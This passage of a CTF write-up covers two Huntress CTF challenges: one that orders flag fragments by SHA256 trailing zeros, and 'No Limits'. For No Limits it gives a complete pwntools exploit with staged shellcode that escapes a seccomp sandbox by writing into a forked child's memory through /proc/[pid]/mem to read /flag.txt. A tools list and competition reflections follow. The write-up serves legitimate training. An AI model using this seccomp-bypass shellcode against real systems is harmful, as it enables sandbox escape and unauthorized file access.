e1204.bin: d85d5
f12f.bin: 9bfc2

Awesome, we have a list of flag fragments and a potential order which these belong, let’s organize these and see what we’re left with:

import itertools

# Define options for each placeholder
sections = {
    1: ["flag{"],
    2: ["be7a1", "88a2d"],
    3: ["e6817"],
    4: ["d85d5", "5f93f"],
    5: ["49f8b", "48979"],
    6: ["d9c1a", "5abfa"],
    7: ["9bfc2", "f18ba"],
    8: ["02}"]
}

# Template for substitution
template = "{1}{2}{3}{4}{5}{6}{7}{8}"

# Generate all combinations
keys = sorted(sections.keys())
all_combinations = itertools.product(*(sections[k] for k in keys))

# Build results
results = []
for combo in all_combinations:
    filled = template
    for i, val in enumerate(combo, 1):
        filled = filled.replace(f"{{{i}}}", val)
    results.append(filled)

# Print them all
for r in results:
    print(r)

print(f"\nTotal combinations: {len(results)}")

This script shows we have duplicates for flag part 2, 4, 5, 6, and 7, giving us these 32 flag possibilities:

$ python solve.py
flag{be7a1e6817d85d549f8bd9c1a9bfc202}
flag{be7a1e6817d85d549f8bd9c1af18ba02}
flag{be7a1e6817d85d549f8b5abfa9bfc202}
flag{be7a1e6817d85d549f8b5abfaf18ba02}
flag{be7a1e6817d85d548979d9c1a9bfc202}
flag{be7a1e6817d85d548979d9c1af18ba02}
flag{be7a1e6817d85d5489795abfa9bfc202}
flag{be7a1e6817d85d5489795abfaf18ba02}
flag{be7a1e68175f93f49f8bd9c1a9bfc202}
flag{be7a1e68175f93f49f8bd9c1af18ba02}
flag{be7a1e68175f93f49f8b5abfa9bfc202}
flag{be7a1e68175f93f49f8b5abfaf18ba02}
flag{be7a1e68175f93f48979d9c1a9bfc202}
flag{be7a1e68175f93f48979d9c1af18ba02}
flag{be7a1e68175f93f489795abfa9bfc202}
flag{be7a1e68175f93f489795abfaf18ba02}
flag{88a2de6817d85d549f8bd9c1a9bfc202}
flag{88a2de6817d85d549f8bd9c1af18ba02}
flag{88a2de6817d85d549f8b5abfa9bfc202}
flag{88a2de6817d85d549f8b5abfaf18ba02}
flag{88a2de6817d85d548979d9c1a9bfc202}
flag{88a2de6817d85d548979d9c1af18ba02}
flag{88a2de6817d85d5489795abfa9bfc202}
flag{88a2de6817d85d5489795abfaf18ba02}
flag{88a2de68175f93f49f8bd9c1a9bfc202}
flag{88a2de68175f93f49f8bd9c1af18ba02}
flag{88a2de68175f93f49f8b5abfa9bfc202}
flag{88a2de68175f93f49f8b5abfaf18ba02}
flag{88a2de68175f93f48979d9c1a9bfc202}
flag{88a2de68175f93f48979d9c1af18ba02}
flag{88a2de68175f93f489795abfa9bfc202}
flag{88a2de68175f93f489795abfaf18ba02}

Total combinations: 32

It would be simple enough to just copy and paste these 32 flag possibilties until one of them worked, but lets explore for the intended solution. I tried the obvious things first:

  • File timestamps? All over the place, some even overlap
  • Inode numbers? Nothing useful
  • PE header timestamps? Multiple files compiled at the same second

Dead ends everywhere.

Running out of things to try, I ran sha256sum on all the files to see if anything stood out:

$ sha256sum *        
519579a8035f417f9712ff5de008cfffc30bd9048a76759eeeccbad578669919  4fb72a1a24.bin
6a85a5142db362292eaf5381be0e404916eda7cb7b0a10d662d48e51c0a23222  5e47.bin
c000308df0e0b23ae25bea530f1a55653d96e8781ada596d86e2ab090170dd69  5fa.bin
cda1612776677eaec749332d505c5071fbd92f207c69e5796ae80a6f076ac000  7b217.bin
21559486f1e3ce05d970091c5a516aa86fef86664f14b978fe24b770a840f3f5  8c14.bin
58798dd344f3d335f7248b8ed5ecd7e3f438146475adb7a7c38c22dde9000000  24b429c2b4f4a3c.bin
c6077559a3a6dfefbfbb08aad3e4c055e0fefa8d7755f24c74253f9f50000000  53bc247952f.bin
3607f4fbc21247e2910c3ab6d86bf9fecd7a5cf493e52850ccc21cf4f3114c00  8208.bin
425364d90285b957cb8ff1a151b5d3dc011b26c19ff8a8e6078f07503415deba  945363af.bin
db730b200c6290f7691c9ed6316ef2e23695ff989f1e036d5d8b9693a6d00000  a4c71d6229e19b0.bin
e2cf9b23f225400c99735683216627975b8b3e19d4a8f59fad5d0e77afdcafcc  aa60783e.bin
af3dc02b97619ac833faf01811ebb868c900318d37dc074feb4052dd58a02cd0  c8c5833b33584.bin
f304c626549d4a79f9feff97721b8a5f3eae7c7006464ce255948a8400000000  c54940df1ba.bin
a7b57a5bc6bf84d2585e8561da4efe2542411d09e6bebe9dde52bfd1caffab34  d2f7.bin
fd57949e3211fce15429cb98c337bc87d81b8d55ca1dca10ec4b4e641afd0000  e1204.bin
45503b2f02879ea036cb1f4a77b48279610d141dcda79c92cecd53c837d4f178  f12f.bin

Wait, some of these have like 5 or 6 trailing zeros… SHA256 hashes should look basically random - that’s really weird. Scanning through the full list, I started seeing a pattern in the trailing digits:

c8c5833b33584.bin:    ...dd58a02cd0   # 1 zero
8208.bin:             ...f4f3114c00   # 2 zeros
7b217.bin:            ...6f076ac000   # 3 zeros
e1204.bin:            ...641afd0000   # 4 zeros
a4c71d6229e19b0.bin:  ...93a6d00000   # 5 zeros
24b429c2b4f4a3c.bin:  ...dde9000000   # 6 zeros
53bc247952f.bin:      ...9f50000000   # 7 zeros
c54940df1ba.bin:      ...8400000000   # 8 zeros

These trailing zeros form a clear sequence from 1 to 8, and we confirm that c8c5833b33584.bin contained flag{ and should definitely be in the first position while c54940df1ba.bin contains 02}. Using only these values, we can remove our duplicates and submit our assembled flag:

flag{be7a1e6817d85d549f8b5abfaf18ba02}

The clever part of this challenge is using SHA256 trailing zeros as an ordering mechanism. Once I spotted that pattern, I didn’t need to bruteforce through the permutations - the checksums told me exactly which 8 files mattered and what order they went in.

Day 30

⚒️ No Limits

Category ⚒️ Binary Exploitation
Author Wittner
Challenge Prompt
Even when you only have a few options, don't let anything hold you back!
The flag is in the root directory at /flag.txt
This challenge intentionally has no browser-based connection. You must use the VPN connection to access this challenge, listening on port 9999. Please use the challenge IP address as the host to connect to. nc $CHALLENGE_IP_ADDRESS 9999

So first things first, let’s see what we’re working with:

$ file ./no_limits
./no_limits: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=82e8e5cbc52c712a36cf9a18426353bc4fcc57d2, for GNU/Linux 3.2.0, not stripped

The binary being “not stripped” is helpful because all the function names are still there, which makes reverse engineering way easier. Running nm shows us some interesting symbols:

$ nm ./no_limits
00000000004040c8 B __bss_start
00000000004040d8 b completed.8061
00000000004013d4 T CreateMemory
00000000004040b8 D __data_start
00000000004040b8 W data_start
00000000004040d9 B debug
00000000004012f0 t deregister_tm_clones
0000000000401795 T DisableDebug
00000000004012e0 T _dl_relocate_static_pie
0000000000401360 t __do_global_dtors_aux
0000000000403e08 d __do_global_dtors_aux_fini_array_entry
00000000004040c0 D __dso_handle
0000000000403e10 d _DYNAMIC
00000000004040c8 D _edata
0000000000401783 T EnableDebugMode
00000000004040e0 B _end
                 U exit@@GLIBC_2.2.5
                 U fflush@@GLIBC_2.2.5
                 U fgets@@GLIBC_2.2.5
0000000000401b48 T _fini
                 U fork@@GLIBC_2.2.5
0000000000401390 t frame_dummy
0000000000403e00 d __frame_dummy_init_array_entry
00000000004023d4 r __FRAME_END__
                 U free@@GLIBC_2.2.5
0000000000404000 d _GLOBAL_OFFSET_TABLE_
                 w __gmon_start__
00000000004021a0 r __GNU_EH_FRAME_HDR
0000000000401000 T _init
0000000000403e08 d __init_array_end
0000000000403e00 d __init_array_start
0000000000402000 R _IO_stdin_used
                 U __isoc99_scanf@@GLIBC_2.7
                 U __isoc99_sscanf@@GLIBC_2.7
0000000000401b40 T __libc_csu_fini
0000000000401ad0 T __libc_csu_init
                 U __libc_start_main@@GLIBC_2.2.5
00000000004017a7 T main
                 U malloc@@GLIBC_2.2.5
                 U memset@@GLIBC_2.2.5
00000000004013a1 T menu
                 U mmap@@GLIBC_2.2.5
                 U perror@@GLIBC_2.2.5
                 U printf@@GLIBC_2.2.5
0000000000401443 T ProtectProgram
                 U puts@@GLIBC_2.2.5
0000000000401320 t register_tm_clones
                 U seccomp_init
                 U seccomp_load
                 U seccomp_release
                 U seccomp_rule_add
0000000000401396 T Setup
                 U sleep@@GLIBC_2.2.5
                 U __stack_chk_fail@@GLIBC_2.4
00000000004012b0 T _start
00000000004040d0 B stdin@@GLIBC_2.2.5
                 U strncmp@@GLIBC_2.2.5
00000000004040c8 D __TMC_END__

The key functions that caught my eye:

  • CreateMemory - memory allocation could be important
  • EnableDebugMode / DisableDebug - debug functionality
  • ProtectProgram - sounds like security measures
  • menu - the main menu display
  • Setup - initialization stuff
  • main - entry point

I also noticed something interesting in the symbols: fork@@GLIBC_2.2.5. The program is using fork() to create a child process. This could be significant, so I’ll want to analyze main to see exactly how this fork is being used.

Let’s fire up the binary and see what these functions actually do. Whether you connect to the challenge or run the binary locally, you get four options:

1) Create Memory
2) Get Debug Informationn
3) Execute Code
4) Exit

Let’s explore what each one does.

Option 1: Create Memory

This option asks three questions: “How big do you want your memory to be?”, then “What permissions would you like for the memory?”, and finally “What do you want to include?”.

It allocates an RWX memory region that you control:

void* CreateMemory(size_t size, int perms) {
    size = (size + 0xfff) & ~0xfff;
    void* addr = mmap(NULL, size, perms | PROT_READ, 
                     MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    return addr;
}

This looks perfect for shellcode injection:

  • Size: You pick (e.g., 4096 bytes)
  • Permissions: You control (7 = rwx = Read+Write+Execute)
  • Address Leak: It tells you exactly where it allocated the buffer

So we can inject shellcode with execute permissions and know exactly where it is.

Option 2: Get Debug Information

This option reveals something interesting:

Debug information:
Child PID = 2122993

The program uses fork() to create a child process and leaks the PID.

Option 3: Execute Code

This is where things get interesting. It asks for an address and jumps to it-but there’s a catch. Looking at the disassembly:

if (menu_choice == 3) {
    puts("Where do you want to execute code?");
    scanf("%lx", &user_addr);
    ProtectProgram();    // Installs seccomp filter
    user_addr();         // Jumps to user code
}

It makes a call to ProtectProgram() before jumping to our code. We will need to analyze this further.

Option 4: Exit

Standard exit function. Nothing interesting here.

After playing with the menu options, I went back to analyze how fork() is being used. I disassembled main() to see what’s really happening, and this is where things got interesting:

int main() {
    Setup();
    pid_t child_pid = fork();
    
    if (child_pid == 0) {
        // CHILD PROCESS - runs in an infinite loop
        void* buf = malloc(0x100);
        while (1) {
            strcpy(buf, "Hello world!\n");
            if (strncmp(buf, "Give me the flag!", 0x11) == 0)
                printf("I will not give you the flag!");
            if (strncmp(buf, "exit", 4) == 0)
                break;
            sleep(5);
        }
    } else {
        // PARENT PROCESS - handles our menu interaction
        while (1) {
            puts("Enter the command you want to do:");
            menu();
            // ... handle menu options ...
        }
    }
}

This is huge, the program forks into two processes:

  • Child: Runs a simple loop, sleeps repeatedly, and crucially, does NOT execute ProtectProgram()
  • Parent: Handles the menu and executes ProtectProgram() before running option 3

They have separate memory spaces, but we interact with the parent through the menu.

So lets look at what ProtectProgram() actually does - disassembling it reveals a seccomp filter with a syscall allow-list:

Allowed Syscalls

#SyscallPurpose
1writeWrite to file descriptor
2openOpen files
4statFile status
5fstatFile descriptor status
6lstatLink status
8lseekSeek within file
10mprotectChange memory protection
12brkChange data segment
21accessCheck file permissions
24sched_yieldYield CPU
32dupDuplicate file descriptor
33dup2Duplicate to specific FD
56cloneCreate child process
57forkFork process
58vforkVirtual fork
60exitExit process
62killSend signal
96gettimeofdayGet time
102getuidGet user ID
104getgidGet group ID
231exit_groupExit all threads

Blocked Syscalls (The Important Ones)

#SyscallWhy We’d Want It
0readCan’t read /flag.txt without it
59execveCan’t spawn /bin/sh

Plus most network syscalls - no direct network communication, and this is why traditional shellcode approaches won’t work. You can’t just run /bin/sh or read /flag.txt directly. We’ve got to work within what’s explicitly allowed.

So here’s where we are… we’ve got a child process with no seccomp restrictions (it never calls ProtectProgram()), a parent process that can use open, lseek, and write, and we know the child’s PID from menu option 2.

Linux provides a special file that gives direct access to another process’s memory: /proc/[PID]/mem. If we can write to /proc/[child_pid]/mem, we can inject code into the child process, which has no sandbox restrictions.

Looking at the child’s disassembly, I found this repeatedly-executed instruction at 0x4018a6:

4018a6:    eb 88        jmp 401830

This is a simple jmp instruction in the child’s main loop. It’s only 2 bytes, making it easy to overwrite and the child executes this address naturally during its loop. If we overwrite this with our shellcode, the child will execute it without any seccomp restrictions.

At this point, I understood enough to start writing the exploit. Here’s what needs to happen:

Stage 1: The Patcher

  • Runs in the parent process (under seccomp)
  • Opens /proc/[child_pid]/mem
  • Seeks to address 0x4018a6 in the child
  • Writes the Stage 2 shellcode there
  • Loops forever

Stage 2: The Payload

  • Placed at buffer_address + 0x100
  • Simple shellcode: cat /flag.txt
  • Executes when the child naturally reaches 0x4018a6
  • No seccomp restrictions because it’s running in the child

Building Stage 1: The Patcher

Stage 1 is the clever part as it’s got to work within the seccomp constraints. First, let’s build /proc/[PID]/mem in memory and since we can’t use string literals in shellcode, we construct it on the stack:

def make_proc_mem_qwords(child_pid: int):
    """Builds /proc/{pid}/mem string as two 64-bit values"""
    proc_mem = f"/proc/{child_pid}/mem".ljust(16, '\x00')
    
    # Split into two 8-byte chunks (reversed for little-endian)
    part1 = "0x" + proc_mem[0:8][::-1].encode('ascii').hex()
    part2 = "0x" + proc_mem[8:16][::-1].encode('ascii').hex()
    
    return part1, part2

For example, if child_pid = 1234:

  • proc_mem: /proc/1234/mem\x00\x00\x00\x00
  • part1: 0x636f72702f (reversed bytes for “/proc”)
  • part2: 0x6d656d2f34333231 (reversed bytes for “1234/mem”)

Next, here’s the complete Stage 1 shellcode using open, lseek, and write which are all allowed syscalls to patch the child’s memory:

def build_stage1_patcher(part1: str, part2: str, stage2_len: int):
    """
    Builds the Stage 1 Patcher Shellcode.
    This runs under seccomp and patches the child process.
    """
    sc = f'''
        /* Build /proc/PID/mem string on stack */
        mov r9, {part2}
        push r9
        mov r9, {part1}
        push r9
        push rsp
        pop rdi                     /* rdi = pointer to string */
        
        /* Open /proc/child_pid/mem */
        mov rsi, 2                  /* O_RDWR */
        mov rdx, 0
        mov rax, 2                  /* open syscall */
        syscall
        
        mov rdi, rax                /* rdi = file descriptor */
        
        /* Seek to target address in child */
        mov rsi, {PATCH_ADDRESS}    /* offset = 0x4018a6 */
        mov rdx, 0                  /* SEEK_SET */
        mov rax, 8                  /* lseek syscall */
        syscall
        
        /* Write Stage 2 payload to child's memory */
        mov rax, 1                  /* write syscall */
        mov rsi, r10
        add rsi, 0x100              /* rsi = buffer + 0x100 */
        mov rdx, {stage2_len}       /* length */
        syscall
        
        /* Loop forever - our job is done */
    loop:
        jmp loop
    '''
    return asm(sc)

Building Stage 2: The Payload

Stage 2 is simpler because it runs in the child with no seccomp restrictions:

stage2_payload = asm(shellcraft.cat("/flag.txt", 1))

This generates shellcode that opens /flag.txt, reads its contents, then writes to file descriptor 1 (stdout, which is our network socket)… and since the child has no seccomp filter, the read syscall works perfectly here.

Here’s the full exploit:

#!/usr/bin/env python3
from pwn import *
import sys

HOST, PORT = "10.1.125.155", 9999
PATCH_ADDRESS = 0x4018a6

context.arch = 'amd64'
context.bits = 64
context.log_level = 'info'

def make_proc_mem_qwords(child_pid: int):
    """Builds the /proc/{pid}/mem parts"""
    proc_mem = f"/proc/{child_pid}/mem".ljust(16, '\x00')
    part1 = "0x" + proc_mem[0:8][::-1].encode('ascii').hex()
    part2 = "0x" + proc_mem[8:16][::-1].encode('ascii').hex()
    return part1, part2

def build_stage1_patcher(part1: str, part2: str, stage2_len: int):
    """
    Builds the Stage 1 Patcher Shellcode.
    This runs under seccomp and patches the child process.
    """
    sc = f'''
        /* Build /proc/PID/mem string on stack */
        mov r9, {part2}
        push r9
        mov r9, {part1}
        push r9
        push rsp
        pop rdi                     /* rdi = pointer to string */
        
        /* Open /proc/child_pid/mem */
        mov rsi, 2                  /* O_RDWR */
        mov rdx, 0
        mov rax, 2                  /* open syscall */
        syscall
        
        mov rdi, rax                /* rdi = file descriptor */
        
        /* Seek to patch address */
        mov rsi, {PATCH_ADDRESS}    /* offset = 0x4018a6 */
        mov rdx, 0                  /* SEEK_SET */
        mov rax, 8                  /* lseek syscall */
        syscall
        
        /* Write Stage 2 payload */
        mov rax, 1                  /* write syscall */
        mov rsi, r10
        add rsi, 0x100              /* rsi = buffer + 0x100 (Stage 2 location) */
        mov rdx, {stage2_len}       /* length */
        syscall
        
        /* Loop forever (Stage 1 is done) */
    loop:
        jmp loop
    '''
    return asm(sc)

# Connect to target
io = remote(HOST, PORT)

# ===== Get child PID =====
io.sendlineafter(b'Exit', b'2')
io.recvuntil(b'Child PID =')
child_pid = int(io.recvline().strip())
log.info(f'Got child PID: {child_pid}')

# ===== Build both payloads =====
# Stage 2: cat /flag.txt to socket
stage2_payload = asm(shellcraft.cat("/flag.txt", 1))
stage2_len = len(stage2_payload)

# Stage 1: patcher that injects Stage 2
part1, part2 = make_proc_mem_qwords(child_pid)
stage1 = build_stage1_patcher(part1, part2, stage2_len)

# ===== Allocate RWX memory =====
io.sendlineafter(b'Exit', b'1')
io.sendlineafter(b'to be?', b'4096')
io.sendlineafter(b'permissions', b'7')  # rwx

# Send combined payload: Stage 1 at offset 0, Stage 2 at offset 0x100
shellcode_complete = stage1.ljust(0x100, b'\x90') + stage2_payload
io.sendlineafter(b'include?', shellcode_complete)

io.recvuntil(b'Wrote your buffer at ')
address = int(io.recvline(), 16)
log.info(f'Payload allocated at: {hex(address)}')

# ===== Execute Stage 1 =====
io.sendlineafter(b'Exit', b'3')
io.sendlineafter(b'execute code?', hex(address).encode())

# ===== Wait for flag =====
log.info('Exploit sent. Waiting for flag...')
response = io.recvline()
if response:
    log.success('FLAG FOUND!')
    flag = io.recv(timeout=5.0)
    print(flag.decode("latin-1", errors="replace"))
else:
    log.failure('Exploit ran but returned no data.')

io.close()

Running this:

$ python solve.py
[+] Opening connection to 10.1.125.155 on port 9999: Done
[*] Got child PID: 9
[*] Payload allocated at: 0x7543f8e00000
[*] Exploit sent. Waiting for flag...
[+] FLAG FOUND!
flag{6f6c733424f20f22303fd47aeb991425}

[*] Closed connection to 10.1.125.155 port 9999

Perfect!

The exploit works because fork() creates processes with different security contexts. The parent has seccomp restrictions, but the child doesn’t. By using the allowed syscalls (open + lseek + write) to write to /proc/[child_pid]/mem, we patch the child’s code at address 0x4018a6. When the child naturally reaches that address in its loop, it executes our unrestricted shellcode and reads the flag.

The key was realizing that /proc/[pid]/mem is treated as a regular file by seccomp, even though it provides direct access to another process’s memory. We didn’t break the sandbox… we just executed our code somewhere the sandbox didn’t apply.

Playing Catch-Up

Joining a week late put me behind many challenges right from the start. Most participants had already established their rhythm, teams were coordinating strategies, and the leaderboards were filling up. I spent the first couple days grinding through the backlog while also keeping up with new challenges as they dropped daily.

Within three days, I’d closed the gap and started placing in the top 10 for daily challenge solves. For several challenges, I was the 2nd or 4th fastest solve, which kept me competitive in the overall standings. The final week ramped up significantly. Challenges like “Rust Tickler 3” and “No Limits” required more time and deeper analysis than the earlier ones. I wasn’t first to solve many of these - the competition at the top was fierce but I held my own and maintained a top 50 position while solving every single challenge that was released.

The Infrastructure

I ran this CTF on a Windows desktop with Hyper-V. I set up a small isolated network using a FortiGate VM as the gateway… this let me analyze potentially malicious traffic and make external connections from the CTF VMs while keeping my host and local network protected. The main VMs I used:

  • Kali Linux - Primary workspace for web exploitation, OSINT, reverse engineering, and general tooling
  • FlareVM - Windows-based analysis environment with all the analysis tools pre-installed
  • FortiGate VM - Network isolation and traffic inspection, easily adjust networking or routing needs

Core Toolkit

Reverse Engineering & Binary Analysis

  • Binary Ninja - My go-to for disassembly and decompilation. The BNIL views makes understanding obfuscated code much easier and new TDD features are fantastic.
  • Ghidra - When I needed a second opinion on decompilation or wanted to use specific plugins.
  • radare2/rizin - Command-line binary analysis, great for quick checks and scripting.
  • gdb with pwndbg** - Essential for dynamic analysis and exploitation development.
  • objdump, strace, ltrace, strings - Standard Linux utilities for quick binary inspection and system call tracing.

Web & Network

  • Burp Suite - Security testing of web applications.
  • curl - Command line tool for transferring data with URLs.
  • Wireshark - Network traffic analysis for forensics challenges.

Malware Analysis

  • any.run - Online malware sandbox for quick behavioral analysis. Saved me tons of time on suspicious samples.
  • PowerDecode - Fastest way to deobfuscate PowerShell scripts. Many malware samples used heavily obfuscated PowerShell.
  • PE Explorer - PE file analysis, resource extraction, and header inspection.
  • System Informer (formerly Process Hacker) - Watching what malware does in real-time, better than Task Manager.
  • HxD - Hex editor for binary analysis and modification.

Forensics & Data Recovery

  • Autopsy - Disk image analysis.
  • Notepad - For viewing file metadata and strings. Sometimes the simplest tools work best.
  • binwalk - Finding embedded files in binary blobs.
  • CyberChef - The Swiss Army knife for encoding/decoding/transforming data.

Development & Scripting

  • VS Code - Primary editor for Python scripts and general code work.
  • pwntools - Python library for binary exploitation. Used heavily for the pwn challenges.

Closing Thoughts

Finishing in the top 50 out of 9,500+ participants with a 100% solve rate while competing solo against teams was rewarding. The CTF ran for 31 days with new challenges dropping regularly, which meant staying engaged every single day to maintain position in the leaderboards.

What I appreciated most about Huntress CTF was the challenge variety and quality. Each category had problems ranging from beginner-friendly to fun and challenging, and the harder challenges required combining multiple techniques like “No Limits” which needed reverse engineering, shellcoding, and Linux internals knowledge.

If you’re looking to improve your CTF skills, I’d recommend:

  • Practice consistently - Platforms like HackTheBox, TryHackMe, and PicoCTF have year-round challenges.
  • Read other writeups - Even if you solved a challenge, seeing alternative approaches teaches you new techniques. CTFtime aggregates writeups from various CTFs.
  • Build a lab environment - Having VMs and tools ready to go saves time during competitions. Snapshot everything.
  • Script repetitive tasks - The time you spend writing a script during the CTF usually pays off when you hit similar problems later.

Thanks to the Huntress Labs team, John Hammond, @JohnHammond, and everyone who built these challenges. Looking forward to competing again next year.